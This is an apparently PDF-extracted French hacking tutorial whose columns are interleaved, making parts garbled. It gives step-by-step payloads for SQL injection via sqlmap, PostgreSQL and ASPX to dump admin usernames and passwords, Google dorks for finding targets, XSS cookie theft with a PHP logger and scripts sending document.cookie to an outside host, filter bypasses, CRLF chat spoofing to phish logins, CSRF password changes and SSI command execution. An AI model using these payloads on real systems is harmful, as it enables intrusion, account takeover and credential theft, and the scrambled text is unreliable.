sqlmap.py -u «http://site.com/index.php?id=1»
Maintenant, nous devons trouver le répertoire où -p id -a «./txt/user-agents.txt» -v1 --string
sqlmap est situé. «Posted 3-3-2008» -e «(SELECT concat(name_
Démarrer> exécuter> cmd et trouver le répertoire username_columns,0x3a,name_password_
sqlmap à l’aide de la fonction cd. columns) from table_name where id=1)»
Fonction pour démarrer sqlmap pour obtenir des
données avec Blind SQL Injection pour Windows Après -u vous mettez le lien.
est: Après -p vous mettez le paramètre qui est vulnérable
(dans notre cas id).
Code: -a que nous utilisons pour certains utilisateurs aléa-
sqlmap.py -u «http://site.com/index.php?id=1» toires agen-t de txt / user-agents.txt
-p id -a «./txt/user-agents.txt» -v1 --string -v1 est verbeux
«Posted 3-3-2008» -e «(SELECT concat(name_ Après --string stavljamo quelque chose que sqlmap
username columns,0x3a,name_password_ va reconnaître qu’il a trouvé la lettre (une partie du
columns) from table_name)» texte qui disparaitra si le cas est faux).
-e est la commande que nous voulons exécuter.
REMARQUE: pour unix mettre python avant sql- Dans notre cas celui-ci:
mal.py
Il devrait donc ressembler à: Code:
SELECT concat(name_username_columns,0x3a,
Code: name_password_columns) from table_name
python sqlmap.py -u «http://site.com/index.php? where userid=1
id=1» -p id -a «./txt/user-agents.txt» -v1 --string
«Posted 3-3-2008» -e «(SELECT concat(name_
username_columns,0x3a,name_password_
columns) from table_name)»

19
[IX] Injection SQL Postgre Si la page est chargée normalement cela signifie qu’il
y a plus de colonnes.
1) Injection Postgre SQL? Code:
http://www.site.com/page.php?page=1+union+
Postgre SQL Injection est presque identique à SQL select+all+null,null,null,null from dual--
Injection. La différence est que la base de donnée
est Postgre, pas MySQL. Il s’agit d’une attaque un Nous ajoutons null tout le temps jusqu’à ce que nous
peu plus compliquée en généralement que SQL In- obtenions l’erreur. Si nous obtenons une erreur avec
jection. Il y a d’autres fonctions que nous allons uti- 7 null, cela signifie que nous avons 6 colonnes, ce qui
liser, vous verrez. signifie 6 nulls.
2) Trouver des sites vulnérables
5) Trouver des colonnes vulnérables
La détection de la vulnérabilité du site est la même
que celle de SQL Injection habituelle, ce qui signifie Il est tellement facile de trouver la colonne vulné-
que nous pouvons utiliser google dorks. rable. Null = 0, ce qui signifie que tout ce que vous
Voici quelques-uns: placez à la place de ces null, si rien ne se passe, alors
Code: ces colonnes ne sont pas utilisables.
inurl:faq.php?id= C’est comme ça qu’on va trouver une colonne vul-
inurl:event.php?id= nérable.
inurl:index.php?id= Alors:
Code:
3) Vérification de la vulnérabilité du site http://www.site.com/page.php?page=1+union+
select+all+current_database(),null,null,null--+-
Vous avez trouvé un site qui est peut être vulnérable.
Pour vérifier si le site est vulnérable, nous allons 6) Recherche de la version de base de
ajouter ‘ à la fin du lien. données
Code: Nous faisons ceci avec la fonction de version () .
http://www.link.com/page.php?page=1’ Lien qui va nous montrer la version:
Code:
Donc, si sur la page, nous obtenons: http://www.site.com/page.php?page=1+union+
select+all+version(),null,null,null--+-
Code:
Warning: pg_query() [function.pg-query]: Nous allons obtenir quelque chose comme:
Query failed: ERROR: syntax error at or near Code:
PostgreSQL 9.0.4 on i486-pc-linux-gnu, compiled
Ou une partie de la page disparait alors le site est by GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5)
vulnérable. 4.4.3, 32-bit

4) Trouver le nombre de colonnes 7) Recherche du nom de la table


Donc nous savons que le site est vulnérable, mainte- Identique à l’injection SQL habituelle. Seule diffé-
nant nous devons trouver le numéro de la colonne. rence, au lieu du nombre de colonnes, nous avons
Nous allons le faire avec la fonction Union cette fois. null.
Notre lien: Il devrait donc ressembler à:
Code:
Code: http://www.site.com/page.php?page=1+union+
http://www.link.com/page.php?page=1+ select+all table_name,null,null,null+from+
union+select+all+null--+- information_schema.tables--+-

Nous allons obtenir des noms de tables, et nous al-


lons obtenir des colonnes de la table.
20
8) Recherche du nom de la colonne [X] Injection SQL PostgreSQL
C’est aussi facile, et il n’y a pas de grosse différence.
Voici comment il devrait ressembler: 1) Basé sur l'erreur d’Injection
Code: PostgreSQL?
http://www.site.com/page.php?page=1+union+
select+all column_name,null,null,null+from+ Erreur basée sur l’Injection PostgreSQL est le type
information_schema.columns+where+ d’attaque Web reliée à la base SQL de PostgreSQL.
table_name=users--+- La différence est que vous pouvez obtenir toutes les
tables, les colonnes et les valeurs de colonnes, etc.
Parfois, cela ne fonctionnera pas, donc nous devons Comme le titre l’a annoncé, l’attaque est basée sur
convertir = qui est ascii en décimal. les erreurs, et tous les résultats seront montrés dans
Vous pouvez utiliser ce site: les erreurs.
Code:
http://easycalculation.com/ascii-hex.php
2) Trouver des sites vulnérables
Nous avons donc un lien:
Code: Utiliser google dorks:
http://www.site.com/page.php?page=1+union+ Code:
select+all+column_name,null,null,null+from+ inurl:faq.php?id=
information_schema.columns+where+table_ inurl:event.php?id=
name||CHR(61)||users--+- inurl:index.php?id=

3) Vérification de la vulnérabilité du site


9) Récupération des données des colonnes
Ajouter ‘à la fin du lien:
Aussi presque identique à l’injection SQL habituelle: Code:
Code: http://www.site.com/page.php?page=1’
http://www.site.com/page.php?page=1+union+
select+all+username||CHR(58)||password+from+ Donc si nous obtenons:
users--+- Code:
Warning: pg_query() [function.pg-query]: Query
failed: ERROR: syntax error at or near

Le site est vulnérable.

4) Recherche de la version de la base de


données
Utilisez la fonction version ().
Dans ce type d’attaque, la requête ressemble un peu
plus compliqués que l’injection SQL habituelle, donc
ne soyez pas confus.
Code:
http://www.site.com/page.php?page=1+and+1=
cast(version()+as+int)--

21
Si la fonction est chargée avec succès vous obtien- Code:
drez ceci à la sortie: http://easycalculation.com/ascii-hex.php
Code:
Warning: pg_query() [function.pg-query]: Query Convertissez le type string « admin » et vous obtien-
failed: ERROR: invalid input syntax for integer: drez le code décimal:
«PostgreSQL 9.0.4 on i486-pc-linux-gnu, compil- Code:
ed by GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5) 97 100 109 105 110
4.4.3, 32-bit»
Nous allons changer ce code un peu, donc il devrait
D’où nous obtenons la version de base de données: ressembler à ceci:
Code: Code:
PostgreSQL 9.0.4 on i486-pc-linux-gnu, compil CHR(97)+||+CHR(100)+||+CHR(109)+||+CHR
ed by GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5) (105)+||+CHR(110)
4.4.3, 32-bit
Maintenant, nous allons le mettre pour les noms de
5) Trouver un nom de table tables et d’obtenir des colonnes.
Code:
Comme je l’ai dit au début, nous ne sommes pas en http://www.site.com/page.php?page=1+and+1=
mesure d’obtenir toutes les tables en même temps, cast((select+column_name+from+information_
nous allons utiliser les fonctions limit et offset . schema.columns+where+table_name=CHR(97)+
||+CHR(100)+||+CHR(109)+||+CHR(105)+||+
Nous allons utiliser offset pour dire quel résultat de CHR(110)+limit+1+offset+0)+as+int)--
la base nous voulons lister.
Notre lien: Et nous allons obtenir l’identifiant de la colonne.
Code: Nous allons changer le décalage tout le temps jusqu’à
http://www.site.com/page.php?page=1+and+1= ce que le site nous retourne sur la page d’accueil, ce
cast((select+table_name+from+information_ qui signifie qu’il n’y a plus de colonnes dans cette
schema.tables+limit+1+offset+0)+as+int)-- table.

À la page, nous obtiendrons cette erreur: 7) Récupération des données des colonnes
Code:
Warning: pg_query() [function.pg-query]: Query Nous avons trouvé le nom d’utilisateur et le mot de
failed: ERROR: invalid input syntax for integer passe de la colonne et maintenant nous voulons ob-
: «pg_type» tenir des données de la colonne.
Code:
À partir de cela nous avons la table pg_type . http://www.site.com/page.php?page=1+and+1=
Pour obtenir la table suivante nous allons changer cast((select+username+||CHR(58)||+password+
de décalage à 1 : from+admin+limit+1+offset+0)+as+int)--
Code:
http://www.link.com/page.php?page=1+and+1= Et nous allons obtenir ceci:
cast((select+table_name+from+information_ Code:
schema.tables+limit+1+offset+1)+as+int)-- admin:21232f297a57a5a743894a0e4a801fc3

Et nous allons obtenir la table comme pg_attribute . CHR (58) présente deux points (:) et nous utilisons
pour obtenir deux colonnes en même temps.
6) Recherche du nom de la colonne NOTE: A partir de maintenant je ne vais pas expli-
quer en détail, parce que je pense que vous avez déjà
Tout d’abord vous devez faire convertir le nom de compris jusqu’à maintenant.
table en décimal. Donc, je vais utiliser des images et des codes seule-
Nous allons utiliser: ment.

22
[XI] Injection SQL sur ASPX

1) Vérification de la vulnérabilité du site


Lien vulnérable:
Code:
http://site.com/ImageDisplay.aspx?Id=1535&Prod=SilkCotton

Nous allons ajouter order by 1-- :


Code:
http://site.com/ImageDisplay.aspx?Id=1535&Prod=SilkCotton order by 1--

Si vous obtenez l’erreur de page aller à:


Code:
http://site.com/ImageDisplay.aspx?Id=1535

2) Recherche du nom de la colonne


Aller à:
Code:
http://site.com/ImageDisplay.aspx?Id=1535 having 1=1

3) Recherche du nom de la table


Code:
http://site.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 table_name from information_
schema.tables))

23
Nous voulons la table admin, donc nous tapons le code suivant:
Code:
http://site.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 table_name from information_
schema.tables where table_name not in (‘Tab_FinalOrder’)))

Le nom de la table Admin est AdminMaster

4) Recherche des colonnes dans la table admin

Code:
http://site.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 column_name from
information_schema.columns where table_name = ‘AdminMaster’))

Code:
http://site.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 column_name from
information_schema.columns where table_name = ‘AdminMaster’ and column_name not in (‘Admin_
name’)))

Nom des colonnes:

5) Trouver un nom d'utilisateur et un mot de passe


Code:
http://site.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 Admin_name from
AdminMaster))

24
Add-on FireCookie:
Code:
https://addons.mozilla.org/en-US/firefox/
addon/ firecookie/

Add-on Live HTTP Headers:


Code: Code:
http://site.com/ImageDisplay.aspx?Id=1535 and 1 https://addons.mozilla.org/en-US/firefox/
=convert(int,(select top 1 Admin_password from downloads/file/28118/live_http_headers-
AdminMaster)) 0.14-fx+sm.xpi

Il est recommandé d’avoir une connaissance pri-


maire de Javascript.

3) Test de la vulnérabilité XSS


Code: Les sites sur lesquels nous pouvons utiliser cette
Username: admin méthode sont les sites où nous devons entrer du
Password: Systadmin!@# texte et soumettre avec un bouton et sur les sites où
vous pouvez utiliser la méthode GET pour impri-
mer quelque chose.
[XII] XSS Par exemple de la méthode GET:
Code:
www.site.com/index.php?page=<scrip t>
1) XSS alert(«XSS»)</script>
XSS permet à l’attaquant d’exécuter du code Ja-
La commande pour vérifier la vulnérabilité du site
vascript. XSS est un raccourci de Cross Site Scrip-
est la suivante:
ting.
Code:
Vous pouvez utiliser XSS de nombreuses façons.
<script>alert(«XSS»)</script>
Le plus simple est d’exécuter des commandes Ja-
vascript, sinon vous pouvez l’utiliser pour voler des
Maintenant, je vais expliquer ce que fait cette com-
cookies.
mande:
Nous injections des cookies pour que nous puis-
<Script> - balise de script d’ouverture
sions vous connecter quelque part sans mot de
Alerte («XSS») - la fenêtre apparaîtra en indiquant
passe.
«XSS»
</ Script> - fermer la balise de script
2) Prérequis
4) Types d’attaque XSS
Mozila firefox:
Code:
Vol de Cookie - nous volons des cookies de certains
http://www.mozilla.org/en-US/products/down
utilisateurs (communément admin), et cookie d’en-
load.html?product=firefox-3.0.5&os=win&lang=
trée dans notre navigateur afin que lorsque nous
en-GB
nous connectons au site, nous allons être connecté .
Cross-Site Request Forgery / CSRF - nous envoyons
Add-on Firebug:
des commandes sans connaître le nom d’utilisateur.
Code:
XSS Worms – Ce sont des scripts «dangereux» qui
https://addons.mozilla.org/en-US/firefox/
ont la possibilité de se répandre sur tout le site.
addon/firebug/
Door-Forwarding - script introduit dans les iframes
et qui va exploiter une faille ou commencer à télé-
charger un virus, rat, keylogger, istealer, etc ...
Keylogging - vous savez ce que c’est normalement

25
5) Le vol de Cookies 1- Ouvrir Mozilla
2- Ouvrir Add-on Fire bug
Pour le vol de Cookies nous aurons besoin de:
- Site vulnérable
-Web-host pour les scripts
-php script

Joindre ce script sur un hébergement:

Cookie.php
Code:
<?php
$cookie = $HTTP_GET_VARS[«cookie»];
$file = fopen(‘cookielog.txt’, ‘a’); 3) Tapez le nom et la valeur du cookie. En voici un:
fwrite($file, $cookie.»\n»);
?> Code:
PHPSESSID=db3e4e100ab6bb912de
Exécution du script: 1b80c4eed7898
Code:
<script>document.location=»http://www.site. Le nom du cookie est PHPSESSID
com/cookie.php?cookie=» + document.cookie; La valeur du cookie est b3e4e100ab6bb912de-
</script> 1b80c4eed7898
ili 6) Filtrage du contournement
<script>location.href=»http://www.site.com/
cookie.php?cookie=» + document.cookie; 1- Suppression d'une balise de script
</script> Par exemple si nous tapons <script> alert ("XSS")
ili </ script> et qu'il affiche seulement l'alerte de
<script>window.open(‘http://www.site.com/ commande ("XSS") . Ce script supprime les balises
cookie.php?cookie=’ + document.cookie;) <script> et </ script>
</script> Voici aussi comment contourner la protection: Au
ili lieu de <script> alert ("XSS") </ script> nous allons
<script>window.location=’http://www.site. placer <scr <script> ipt> alert (<XSS>) </ scr </
com/cookie.php?cookie=’ + document. script> ipt>
cookie;</script>
2- magic_quotes
Comment ça marche? Expliqué ici:
Lorsque certains utilisateurs se connectent à la page
avec votre enregistreur de cookies, vous enregistrez Code:
son cookie. Ensuite, nous prenons les cookies et http://en.wikipedia.org/wiki/Magic_quotes
l’utiliser. Voilà comment nous le faisons:
Si vous tapez <script> alert ("XSS") </ script> et
que ça imprime <script> alert (\ "XSS \") </ script>
alors c'est une protection par magic_quotes.
Il est un peu plus difficile de contourner la protec-
tion magic_quotes. Il fonctionne sur String.from-
CharCode.
Voici un exemple:
Il s'agit du lien de notre cookie logger:
http://site.com/cookie.php .
Nous utiliserions <script> location.href = "http://
www.link.com/cookie.php?cookie=" + document.
Cookie; </ script>

26
Cela fonctionne quand vous ajoutez \ , ‘ ou « et quand vous utilisez un entier, vous n’utilisez pas ‘ ou «

Et ici: http://www.link.com/cookie.php?cookie= nous avons également converti le code décimal avec cet
outil:

Code:
Ascii to Decimal
http://pookey.co.uk/binary.php

27
[XIV] CRLF
1) CRLF
CRLF (Carriage Return and Line Feed ) est très facile à utiliser. C’est en fait comme si nous ajoutions une
nouvelle ligne (\ n).

2) Les endroits vulnérables


Les endroits vulnérables sont partout. Dans ce tuto, je vais utiliser un chat.

3) Exploitation de la vulnérabilité et de la protection


Permet de dire si vous envoyez message chat ressemblera à ceci:

Code:
03.06.2017 10:29 - kuls: Pourquoi la page de connexion est-elle en panne?
03.06.2017 10:29 - ablito: On dirait que quelqu’un a supprimé la base de données de connexion.
03.06.2017 10:29 - Admin: Je vais vérifier cela et vous revenir.
03.06.2017 10:30 - ablito: Ok, allez Merci... \ n03.06.2017 10:30 - Admin: vous avez raison ablito, la base de
données de connexion est supprimée. Connectez-vous ici jusqu’à ce que je la récupère: http://vulnerablesite
.com/login.php

Si le chat est vulnérable, il va ressembler à ceci:


Code:
03.06.2017 10:30 - ablito: Ok, allez Merci...
03.06.2017 10:30 - Admin: Vous avez raison ablito, la base de données de connexion est supprimée. Connec
tez-vous ici jusqu’à ce que je la récupère: http://vulnerablesite.com/login.php

Nous avons écrit le second message de Admin et les utilisateurs penseront que Admin l’a envoyé en fait et se
connecte au site que nous leur avons donné. Avec la connexion, nous allons enregistrer les logins du site.

4) Script vulnérable
par exemple

Code:
<?php
if(isset($_POST[‘send_message’]))
{
if(!empty($_POST[‘message’]))
{
$message = htmlspecialchars($_POST[‘message’]);
// rest code to send msg
}
}
?>

28
[XV] CSRF
1) CSRF?
CSRF (Cross Site Request Forgery ) est un mélange de XSS et de LFI. Il est utilisé pour exécuter un code sans
connaître le nom d’utilisateur.

2) Les endroits vulnérables


Peut être utilisé lorsque vous utilisez la méthode GET. Si CSRF réussit, l’attaquant peut changer le mot de
passe de certains utilisateurs.

3) Exploitation de la vulnérabilité
Disons que nous avons un lien de profil:

Code:
http://www.site.com/profile.php

Où vous pouvez voir les données utilisateur (nom d’utilisateur, avatar, email ...).
Maintenant, lorsque l’utilisateur veut modifier son profil en utilisant par exemple

Code:
http://www.site.com/edit_profile.php

Maintenant, au lieu de lien avatar, nous allons ajouter un lien de l’édition de profil avec un nouveau code en
utilisant la méthode GET.

NOTE: Nous devons utiliser la méthode GET lors de l’édition de profil sinon nous ne serons pas en mesure
d’attaquer.

Ajouter un avatar:

Code:
http://www.link.com/edit_profile.php?password=newpassword

password est le nom de l’input (Il peut être différent, il est préférable de voir le code source)

Maintenant, quand nous regardons l’avatar, nous ne serons pas en mesure de voir l’image (comme si il n’y a
pas d’image). Quand un autre utilisateur regarde votre avatar, si l’attaque a réussi, son mot de passe va être
changé celui que nous avons mis.

29
[XVI] Server Side Includes | Server Side Inclusion

1) Introduction Server Side Includes


Server Side includes (SSI) nous permet de faire des choses rapidement sur les sites cibles.
A partir de SSIncludes,nous pouvons mettre à jour la base de données, envoyer des courriers et beaucoup
d’autres fonctions. SSI fonctionne comme quand un script d’exécution sur ce site. L’extension par défaut des
fichiers SSI est .shtml
Pour que l’attaque SSI fonctionne dans le répertoire où est situé les fichiers .shtml, un fichier Htaccess doit
être crée et contenir une certaine configuration.
SSIs est par défaut désactivé, vous pouvez l’activer en créant un nouveau fichier .htaccess avec cette configura-
tion:

Code:
AddType text/html .shtml
AddHandler server-parsed .shtml
AddHandler server-parsed .html
Options Indexes FollowSymLinks Includes

2) Création de SSI
Nous commençons le script avec <! - #
Quelques scripts simples ressemblent à ceci:
<Command> <variable> = <contenu variable> ->

<Command> -

Code:
config
include
flow
set
printenv
echo
exec
fsize
flastmod
time & date

Avec -> nous terminons le script.

Script par exemple

Code:
<!--#include file=»yourfilename.txt» -->
<!--#echo var=’This will write this stupid text.’-->

3) Server Side Inclusion


L’attaque Server Side Inclusion est une méthode d’attaque très utile. Pour cela, il est recommandé d’avoir une
connaissance primaire de la programmation Bash et Batch.

30
Le site est vulnérable sur SSI lorsque les extensions ‘.shtml’ ‘.shtm’ ou ‘.stm’ sont incluses dans le fichier de
configuration Apache.
Par exemple, nous pouvons créer un fichier avec la commande suivante:

Code:
<!--#exec cmd=’ls -la’-->

Enregistrez-le en tant que fichier .shtml et ouvrez-le sur le site.

Je pense que vous savez déjà ce qui va se passer.

31
nelsi.com
Email : contact@co
ww.conelsi.com
Site web : http://w .c om /C onelsisecuritylab
w.f ac eb o ok
Fbk : http://ww

32

Vous aimerez peut-être aussi